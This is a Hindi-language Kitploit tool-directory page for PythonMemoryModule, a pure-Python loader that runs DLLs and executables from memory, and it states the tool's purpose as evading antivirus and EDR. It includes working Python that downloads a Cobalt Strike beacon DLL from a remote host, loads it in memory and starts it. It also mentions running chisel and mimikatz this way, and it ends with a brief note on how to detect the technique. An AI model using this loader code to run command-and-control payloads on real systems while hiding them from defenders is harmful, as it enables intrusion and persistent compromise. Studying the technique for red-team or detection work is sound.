Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PythonMemoryModule — pure-python में MemoryModule तकनीक का कार्यान्वयन जो dll और unmanaged exe को पूरी तरह से मेमोरी से लोड करता है | Kitploit
उपकरण/GitHubGitHub/naksyn/pythonmemorymodule
शोषण फ्रेमवर्कपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

pure-python में MemoryModule तकनीक का कार्यान्वयन जो dll और unmanaged exe को पूरी तरह से मेमोरी से लोड करता है

रिपॉजिटरी देखें
340522 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Supported Python versions Twitter

PythonMemoryModule

मेमोरी से पूरी तरह से dll या अप्रबंधित exe लोड करने के लिए MemoryModule तकनीक का शुद्ध-पायथन कार्यान्वयन

immagine
"Python memory module" AI द्वारा उत्पन्न चित्र - hotpot.ai

यह क्या है

PythonMemoryModule, Joachim Bauch द्वारा मूल रूप से प्रकाशित MemoryModule तकनीक का Python ctypes पोर्टिंग है। यह किसी बाहरी लाइब्रेरी (pyd) की आवश्यकता के बिना Python का उपयोग करके dll या अप्रबंधित exe लोड कर सकता है और कमांडलाइन पैरामीटर पास करने के लिए आंशिक समर्थन रखता है।

यह PE हेडर पार्स करने के लिए pefile, प्रक्रिया पैरामीटर तक पहुंचने के लिए PythonForWindows, और भारी काम के लिए ctypes का उपयोग करता है। यह उपकरण मूल रूप से Pyramid मॉड्यूल के रूप में उपयोग किए जाने के लिए सोचा गया था ताकि dll/exe पेलोड को python.exe में पूरी तरह से मेमोरी से लोड करके AV/EDR के खिलाफ चोरी प्रदान की जा सके, हालांकि अन्य उपयोग-मामले भी संभव हैं (IP सुरक्षा, pyds इन-मेमोरी लोडिंग, अन्य गुप्त तकनीकों के लिए स्पिनऑफ़) इसलिए मैंने एक समर्पित रिपॉजिटरी बनाने का निर्णय लिया।

यह क्यों उपयोगी हो सकता है

  1. यह मूल रूप से MemoryModule तकनीक को पूरी तरह से Python व्याख्यायित भाषा में उपयोग करने की अनुमति देता है, जिससे स्टॉक साइन किए गए python.exe बाइनरी का उपयोग करके मेमोरी बफर से dll लोड करना संभव हो जाता है, बिना डिस्क पर बाहरी कोड/लाइब्रेरी (जैसे pymemorymodule बाइंडिंग) गिराए, जिन्हें AV/EDR द्वारा फ़्लैग किया जा सकता है या उपयोगकर्ता के संदेह को बढ़ा सकते हैं।
  2. संकलित भाषा लोडर में MemoryModule तकनीक का उपयोग करने के लिए लोडर के भीतर MemoryModule कोड को एम्बेड करने की आवश्यकता होगी। Python व्याख्यायित भाषा और PythonMemoryModule का उपयोग करके इससे बचा जा सकता है क्योंकि कोड को गतिशील रूप से और मेमोरी में निष्पादित किया जा सकता है।
  3. आप गतिशील रूप से इन-मेमोरी dll डाउनलोड, डिक्रिप्ट और लोड करके बौद्धिक संपदा संरक्षण का कुछ स्तर प्राप्त कर सकते हैं जो चुभती आँखों से छिपाए जाने चाहिए। ध्यान रखें कि dll को अभी भी मेमोरी से पुनर्प्राप्त और रिवर्स-इंजीनियर किया जा सकता है, लेकिन कम से कम हमलावर को अधिक प्रयास की आवश्यकता होगी।
  4. आप इंजेक्शन या शेलकोड निष्पादन किए बिना एक स्टेजलेस पेलोड dll लोड कर सकते हैं। लोडिंग प्रक्रिया LoadLibrary Windows API (जो डिस्क पर पथ इनपुट के रूप में लेता है) की नकल करती है, लेकिन वास्तव में इसे कॉल किए बिना और मेमोरी में संचालित होती है।

इसका उपयोग कैसे करें

उदाहरण n.1

निम्नलिखित उदाहरण में, एक Cobalt Strike स्टेजलेस बीकन dll डाउनलोड किया जाता है (डिस्क पर सहेजा नहीं गया), मेमोरी में लोड किया जाता है और एंट्रीपॉइंट को कॉल करके प्रारंभ किया जाता है।

root@kitploit:~
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

नोट: यदि आप अपने मैलेबल प्रोफ़ाइल में स्टेजिंग का उपयोग करते हैं, तो dll LoadLibrary के साथ लोड नहीं हो पाएगा, इसलिए MemoryModule काम नहीं करेगा।

उदाहरण n.2

निम्नलिखित उदाहरण में, हम chisel को मेमोरी में निष्पादित करने के लिए कमांडलाइन पासिंग कार्यक्षमता का उपयोग करते हैं।

https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

कमांडलाइन पैरामीटर पास करना - आंशिक समर्थन

यह तकनीक रनटाइम पर PEB पर Commandline पैरामीटर को स्टॉम्प करके कार्यान्वित की गई है। यह हर निष्पादन योग्य के साथ काम नहीं करेगा क्योंकि यह इस बात पर निर्भर करता है कि तर्क पास करने के लिए किन फ़ंक्शनों का उपयोग किया जाता है।

सामान्यतः, सार्वभौमिक रूप से काम करने वाली तकनीक प्राप्त करने के लिए GetCommandlineA, GetCommandlineW, __getmainargs और __wgetmainargs को हुक करना आवश्यक होगा क्योंकि PEB स्टॉम्पिंग सभी मामलों को कवर नहीं करेगा, अधिक विवरण यहाँ देखें।

अपने परीक्षण के दौरान मैंने पाया कि mimikatz और कई go बाइनरी केवल PEB स्टॉम्पिंग करके काम करते हैं, दूसरी ओर, mingw और VS संकलित बाइनरी के लिए अकेले PEB स्टॉम्पिंग के माध्यम से cmdline पास करना संभवतः काम नहीं करेगा।

इसका पता कैसे लगाएं

MemoryModule तकनीक का उपयोग करने से अधिकांशतः लक्ष्य DLL के अनुभागों की अनुमतियों का सम्मान होगा और शोरगुल वाले RWX दृष्टिकोण से बचा जा सकेगा। हालाँकि, प्रोग्राम मेमोरी के भीतर एक निजी कमिट होगा जो डिस्क पर किसी dll द्वारा समर्थित नहीं है और यह MemoryModule का एक संकेतक है।

टूल डाउनलोड करें